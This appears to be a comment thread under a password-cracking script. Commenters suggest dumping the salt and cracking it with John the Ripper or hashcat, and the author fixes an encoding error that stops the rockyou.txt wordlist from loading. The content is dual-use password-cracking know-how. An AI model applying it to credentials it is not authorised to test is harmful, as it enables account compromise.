help me please

I am not sure. Can you try without the wordlist? Just dump the salt and crack with john the ripper or hashcat?

The problem is you are using a wordlist that is probably "ISO-8859-1" encoding. Maybe the rockyou.txt file. Either you can convert it to "utf-8", or you can change my code to include the above encoding or ignore otherwise.

On Line 53:
To ignore errors

dict = open(wordlist, encoding='utf-8', errors='ignore')

If you choose to use "ISO-8859-1" encoding, make sure you convert it to other places on the code (find and replace).

Thank you so much , Sir!
It worked !!

@KL-1739150 No problem.

Worked beautifully in python3 - thanks
